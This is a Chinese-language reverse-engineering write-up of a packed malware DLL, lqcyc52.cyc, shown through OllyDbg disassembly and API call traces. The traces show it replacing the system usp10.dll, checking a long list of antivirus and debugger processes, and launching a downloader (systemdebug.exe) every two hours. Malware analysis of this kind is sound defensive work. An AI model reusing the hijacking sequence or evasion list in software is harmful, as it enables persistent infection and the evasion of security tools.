lqcyc52.cyc 分析
先把lqcyc52.cyc改成lqcyc52.cyc.dll 然后用OD载入，也是UPX壳，用ESP定律就可脱去，这里不在描述。
10001550 /E9 4C660000 jmp 10007BA1 ; 这里好像就是OEP，我了个去，又是VM？
10001555 |897424 24 mov dword ptr [esp+24], esi
10001559 |E8 DE5B0000 call 1000713C
1000155E |FF3424 push dword ptr [esp]
10001561 |8D6424 30 lea esp, dword ptr [esp+30]
10001565 |0F8A 78640000 jpe 100079E3
1000156B |60 pushad
1000156C |9C pushfd
1000156D |8F4424 1C pop dword ptr [esp+1C]
10001571 |9C pushfd
10001572 |60 pushad
10001573 |E9 E75B0000 jmp 1000715F
10001578 |FF7424 24 push dword ptr [esp+24]
1000157C |8F45 00 pop dword ptr [ebp]
1000157F |68 155350ED push ED505315
10001584 |C60424 07 mov byte ptr [esp], 7
10001588 |881424 mov byte ptr [esp], dl
1000158B |8D6424 2C lea esp, dword ptr [esp+2C]
1000158F |E9 91570000 jmp 10006D25
10001594 |66:890424 mov word ptr [esp], ax
10001598 |895424 38 mov dword ptr [esp+38], edx
1000159C |66:891424 mov word ptr [esp], dx
100015A0 |8D6424 38 lea esp, dword ptr [esp+38]
100015A4 |E9 903A0000 jmp 10005039
100015A9 |F4 hlt
100015AA |C6 ??? ; 未知命令
... ...
用上次的办法，先单步，直到找到一个API，。。。有点不耐烦了，所以换一种方式，把所有载入的库 .text下断，然后按Ctrl+f7：
就在调试了十几分钟，我快要放弃这个方法的时候，终于断下来了~~
退一步，看到VM调用API的地方，下硬件执行
10006A2C 8B4C24 2C mov ecx, dword ptr [esp+2C]
10006A30 9C pushfd
10006A31 68 5AA1D966 push 66D9A15A
10006A36 FF7424 38 push dword ptr [esp+38]
10006A3A C2 3C00 retn 3C ; VM调用API的地方，下硬件执行
然后分析他调用了哪些APIL：
0006F690 100096A0 /CALL 到 GetModuleHandleA
0006F694 10002150 \pModule = "EXPLORER.EXE"
0006F690 1000B6E2 /CALL 到 GetModuleHandleA ；会连续调用两次，如果第一次就找到会执行真正目的！
0006F694 10002160 \pModule = "lqcyc52.cyc"
0006F690 1000B6E2 /CALL 到 GetModuleHandleA ；如果是第2次调用才成功，会用下面的方式搜索有多少杀毒软件
0006F694 10002160 \pModule = "lqcyc52.cyc" ；因为我把lqcyc52.cyc改成了DLL，所以要修改下这个数据
10002160 6C 71 63 79 63 35 32 2E 63 79 63 lqcyc52.cyc
10002160 6C 71 63 79 63 35 32 2E 63 79 63 2E 64 6C 6C 00 lqcyc52.cyc.dll.
后来发现下面一系列的GetModuleHandleA是判断是不是被这些进程载入了0006F68C 1000B6A3 /CALL 到 GetModuleHandleA
0006F690 10003038 \pModule = "dep360.exe"
0006F68C 1000B6A3 /CALL 到 GetModuleHandleA
0006F690 1000304C \pModule = "360sd.exe"
0006F68C 1000B6A3 /CALL 到 GetModuleHandleA
0006F690 10003060 \pModule = "360rp.exe"
0006F68C 1000B6A3 /CALL 到 GetModuleHandleA
0006F690 10003074 \pModule = "360Safe.exe"
0006F68C 1000B6A3 /CALL 到 GetModuleHandleA
0006F690 10003088 \pModule = "DSMain.exe"
0006F68C 1000B6A3 /CALL 到 GetModuleHandleA
0006F690 1000309C \pModule = "ZhuDongFangYu.exe"
0006F68C 1000B6A3 /CALL 到 GetModuleHandleA
0006F690 100030B0 \pModule = "360tray.exe"
0006F68C 1000B6A3 /CALL 到 GetModuleHandleA
0006F690 100030C4 \pModule = "360WDMain.exe"
0006F68C 1000B6A3 /CALL 到 GetModuleHandleA
0006F690 100030D8 \pModule = "360realpro.exe"
0006F68C 1000B6A3 /CALL 到 GetModuleHandleA
0006F690 100030EC \pModule = "RsMain.exe"
0006F68C 1000B6A3 /CALL 到 GetModuleHandleA
0006F690 10003100 \pModule = "RsTray.exe"
0006F68C 1000B6A3 /CALL 到 GetModuleHandleA
0006F690 10003114 \pModule = "RavMonD.exe"
0006F68C 1000B6A3 /CALL 到 GetModuleHandleA
0006F690 10003128 \pModule = "kav32.exe"
0006F68C 1000B6A3 /CALL 到 GetModuleHandleA
0006F690 1000313C \pModule = "kavstart.exe"
0006F68C 1000B6A3 /CALL 到 GetModuleHandleA
0006F690 10003150 \pModule = "liveupdate360.exe"
0006F68C 1000B6A3 /CALL 到 GetModuleHandleA
0006F690 10003164 \pModule = "egui.exe"
看下到底要查多少进程：
10003034 00 00 00 00 64 65 70 33 36 30 2E 65 78 65 00 00 ....dep360.exe..
10003044 00 00 00 00 00 00 00 00 33 36 30 73 64 2E 65 78 ........360sd.ex
10003054 65 00 00 00 00 00 00 00 00 00 00 00 33 36 30 72 e...........360r
10003064 70 2E 65 78 65 00 00 00 00 00 00 00 00 00 00 00 p.exe...........
10003074 33 36 30 53 61 66 65 2E 65 78 65 00 00 00 00 00 360Safe.exe.....
10003084 00 00 00 00 44 53 4D 61 69 6E 2E 65 78 65 00 00 ....DSMain.exe..
10003094 00 00 00 00 00 00 00 00 5A 68 75 44 6F 6E 67 46 ........ZhuDongF
100030A4 61 6E 67 59 75 2E 65 78 65 00 00 00 33 36 30 74 angYu.exe...360t
100030B4 72 61 79 2E 65 78 65 00 00 00 00 00 00 00 00 00 ray.exe.........
100030C4 33 36 30 57 44 4D 61 69 6E 2E 65 78 65 00 00 00 360WDMain.exe...
100030D4 00 00 00 00 33 36 30 72 65 61 6C 70 72 6F 2E 65 ....360realpro.e
100030E4 78 65 00 00 00 00 00 00 52 73 4D 61 69 6E 2E 65 xe......RsMain.e
100030F4 78 65 00 00 00 00 00 00 00 00 00 00 52 73 54 72 xe..........RsTr
10003104 61 79 2E 65 78 65 00 00 00 00 00 00 00 00 00 00 ay.exe..........
10003114 52 61 76 4D 6F 6E 44 2E 65 78 65 00 00 00 00 00 RavMonD.exe.....
10003124 00 00 00 00 6B 61 76 33 32 2E 65 78 65 00 00 00 ....kav32.exe...
10003134 00 00 00 00 00 00 00 00 6B 61 76 73 74 61 72 74 ........kavstart
10003144 2E 65 78 65 00 00 00 00 00 00 00 00 6C 69 76 65 .exe........live
10003154 75 70 64 61 74 65 33 36 30 2E 65 78 65 00 00 00 update360.exe...
10003164 65 67 75 69 2E 65 78 65 00 00 00 00 00 00 00 00 egui.exe........
10003174 00 00 00 00 65 6B 72 6E 2E 65 78 65 00 00 00 00 ....ekrn.exe....
10003184 00 00 00 00 00 00 00 00 6F 6C 6C 79 64 62 67 2E ........ollydbg.
10003194 65 78 65 00 00 00 00 00 00 00 00 00 4F 44 62 67 exe.........ODbg
100031A4 53 63 72 69 70 74 2E 64 6C 6C 00 00 00 00 00 00 Script.dll......
100031B4 4F 6C 6C 79 44 75 6D 70 2E 64 6C 6C 00 00 00 00 OllyDump.dll....
100031C4 00 00 00 00 49 63 65 53 77 6F 72 64 2E 65 78 65 ....IceSword.exe
100031D4 00 00 00 00 00 00 00 00 77 73 79 73 63 68 65 63 ........wsyschec
100031E4 6B 2E 65 78 65 00 00 00 00 00 00 00 53 6E 69 70 k.exe.......Snip
100031F4 65 53 77 6F 72 64 2E 65 78 65 00 00 00 00 00 00 eSword.exe......
10003204 61 76 70 2E 65 78 65 00 00 00 00 00 00 00 00 00 avp.exe.........
10003214 00 00 00 00 57 53 6F 63 6B 45 78 70 65 72 74 2E ....WSockExpert.
10003224 65 78 65 00 00 00 00 00 57 53 6F 63 6B 48 6F 6F exe.....WSockHoo
10003234 6B 2E 64 6C 6C 00 00 00 00 00 00 00 57 70 65 53 k.dll.......WpeS
10003244 70 79 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 py.dll..........
10003254 6B 70 70 74 72 61 79 2E 65 78 65 00 00 00 00 00 kpptray.exe.....
10003264 00 00 00 00 6B 70 70 6D 61 69 6E 2E 65 78 65 00 ....kppmain.exe.
10003274 00 00 00 00 00 00 00 00 30 30 30 30 6B 73 64 65 ........0000ksde
10003284 73 6B 2E 65 78 65 00 00 00 00 00 00 6B 70 70 73 sk.exe......kpps
10003294 65 72 76 2E 65 78 65 00 00 00 00 00 00 00 00 00 erv.exe.........
；＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝这里是真正目的
0006F274 100095E9 /CALL 到 GetSystemDirectoryA
0006F278 100036E0 |Buffer = lqcyc52_.100036E0
0006F27C 00000103 \BufSize = 103 (259.)
取出来后和“\usp10.dll”连接
100036E0 43 3A 5C 57 49 4E 44 4F 57 53 5C 73 79 73 74 65 C:\WINDOWS\syste
100036F0 6D 33 32 5C 75 73 70 31 30 2E 64 6C 6C 00 00 00 m32\usp10.dll...
0006F274 10008A2F /CALL 到 DeleteFileA ；删除。。。
0006F278 0006F488 \FileName = "C:\WINDOWS\system32\dllcache\usp10.dll"
0006F270 1000892B /CALL 到 MoveFileA ；这之后出现文件保护提示
0006F274 100036E0 |ExistingName = "C:\WINDOWS\system32\usp10.dll"
0006F278 0006F384 \NewName = "C:\WINDOWS\system32\cybkus10.dll"
0006F26C 10009072 /CALL 到 CopyFileA ；用lqcyc52.cyc代替usp10.dll
0006F270 0006F280 |ExistingFileName = "C:\WINDOWS\system32\lqcyc52.cyc"
0006F274 0006F488 |NewFileName = "C:\WINDOWS\system32\dllcache\usp10.dll"
0006F278 00000001 \FailIfExists = TRUE
0006F26C 10007DED /CALL 到 CopyFileA
0006F270 0006F280 |ExistingFileName = "C:\WINDOWS\system32\lqcyc52.cyc"
0006F274 100036E0 |NewFileName = "C:\WINDOWS\system32\usp10.dll"
0006F278 00000001 \FailIfExists = TRUE
0006F274 10008238 /CALL 到 PathFileExistsA
0006F278 0006F384 \Path = "C:\WINDOWS\system32\cybkus10.dll"
0006F270 100096A5 /CALL 到 GetModuleHandleA
0006F274 00000000 \pModule = NULL
0006F270 1000B0E1 /CALL 到 GetModuleFileNameA ；这里应该是想查看是谁调用的这个DLL，保险其间我们把他改一下
0006F274 00400000 |hModule = 00400000 (LOADDLL)
0006F278 0006F58C |PathBuffer = 0006F58C
0006F27C 00000103 \BufSize = 103 (259.)
0006F58C 45 3A 5C B9 A4 BE DF CF E4 5C 4F 6C 6C 79 49 43 E:\工具箱\OllyIC
0006F59C 45 5C 4C 4F 41 44 44 4C 4C 2E 45 58 45 E\LOADDLL.EXE
改成：
0006F58C 43 3A 5C 57 49 4E 44 4F 57 53 5C 73 79 73 74 65 C:\WINDOWS\syste
0006F59C 6D 33 32 5C 74 61 73 6B 6E 67 72 2E 65 78 65 00 m32\taskngr.exe.
0006F258 10008F6E /CALL 到 RegOpenKeyExA
0006F25C 80000002 |hKey = HKEY_LOCAL_MACHINE
0006F260 10002080 |Subkey = "Software\360Safe\menuext\LiveUpdate360"
0006F264 00000000 |Reserved = 0
0006F268 00020019 |Access = KEY_READ
0006F26C 0006F270 \pHandle = 0006F270
0006F254 10008059 /CALL 到 RegQueryValueExA
0006F258 00000000 |hKey = 0
0006F25C 100020A8 |ValueName = "Application"
0006F260 00000000 |Reserved = NULL
0006F264 0006F278 |pValueType = 0006F278
0006F268 10003A60 |Buffer = lqcyc52_.10003A60
0006F26C 0006F274 \pBufSize = 0006F274
0006F268 100094AF /CALL 到 RegCloseKey
0006F26C 00000000 \hKey = NULL
0006F268 1000AD2D /CALL 到 PathRemoveFileSpecA
0006F26C 10003A60 \Path = ""
0006F274 1000BA8D /CALL 到 WinExec
0006F278 10003A60 |CmdLine = "\SoftMgr\SoftManager.exe"
0006F27C 00000001 \ShowState = SW_SHOWNORMAL
0006F690 1000A3A1 /CALL 到 ExitProcess
0006F694 00000000 \ExitCode = 0
然后回想第一个调用
0006F690 100096A0 /CALL 到 GetModuleHandleA
0006F694 10002150 \pModule = "EXPLORER.EXE"
是什么用意？我们修改返回值，让他不为0,然后在运行，发现过程有变：
0006F67C 1000B395 /CALL 到 CreateThread
0006F680 00000000 |pSecurity = NULL
0006F684 00000000 |StackSize = 0
0006F688 10001320 |ThreadFunction = usp10_1.10001320
0006F68C 00000000 |pThreadParm = NULL
0006F690 00000000 |CreationFlags = 0
0006F694 0006F6A4 \pThreadId = 0006F6A4
直接来看这个线程地址：
10001320 81EC 08010000 sub esp, 108 ; 终于是没VM过的代码了。。
10001326 A1 00300010 mov eax, dword ptr [10003000]
1000132B 33C4 xor eax, esp
1000132D 898424 04010000 mov dword ptr [esp+104], eax
10001334 53 push ebx
10001335 8B1D 50200010 mov ebx, dword ptr [10002050] ; kernel32.WinExec
1000133B 56 push esi
1000133C 8B35 40200010 mov esi, dword ptr [10002040] ; kernel32.Sleep
10001342 57 push edi
10001343 8B3D 48200010 mov edi, dword ptr [10002048] ; kernel32.GetWindowsDirectoryA
10001349 8DA424 00000000 lea esp, dword ptr [esp]
10001350 68 D0070000 push 7D0
10001355 FFD6 call esi
10001357 68 04010000 push 104
1000135C 8D4424 10 lea eax, dword ptr [esp+10]
10001360 50 push eax
10001361 FFD7 call edi
10001363 8D4424 0C lea eax, dword ptr [esp+C]
10001367 48 dec eax
10001368 8A48 01 mov cl, byte ptr [eax+1]
1000136B 40 inc eax
1000136C 84C9 test cl, cl
1000136E ^ 75 F8 jnz short 10001368
10001370 8B0D F8200010 mov ecx, dword ptr [100020F8] ；看下这里是什么数据
100020F8 5C 73 79 73 74 65 6D 64 65 62 75 67 2E 65 78 65 \systemdebug.exe
10002108 00 00 00 00 52 69 73 69 6E 67 00 00 52 61 76 5C ....Rising..Rav\
10002118 00 00 00 00 4B 69 6E 67 73 6F 66 74 00 00 00 00 ....Kingsoft....
10002128 6B 69 6E 67 73 6F 66 74 00 00 00 00 4B 61 73 70 kingsoft....Kasp
10002138 65 72 73 6B 79 00 00 00 4B 50 50 33 00 00 00 00 ersky...KPP3....
10002148 6B 77 61 74 63 68 00 00 45 58 50 4C 4F 52 45 52 kwatch..EXPLORER
10002158 2E 45 58 45 00 00 00 00 6C 71 63 79 63 35 32 2E .EXE....lqcyc52.
10002168 63 79 63 00 00 00 00 00 00 00 00 00 00 00 00 00 cyc.............
.... ...
1000139B 8D5424 10 lea edx, dword ptr [esp+10] ; C:\WINDOWS\systemdebug.exe
1000139F 52 push edx
100013A0 8848 10 mov byte ptr [eax+10], cl
100013A3 FFD3 call ebx ; kernel32.WinExec
运行systemdebug.exe 上面已经分析出systemdebug.exe是个下载者
100013A5 68 00DD6D00 push 6DDD00 ; 然后每过7200000毫秒重复上面的操作
100013AA FFD6 call esi ; kernel32.Sleep
lqcyc52.cyc的功能是替换usp10.dll，代替usp10.dll工作，如果被explorer.exe载入时运行systemdebug.exe
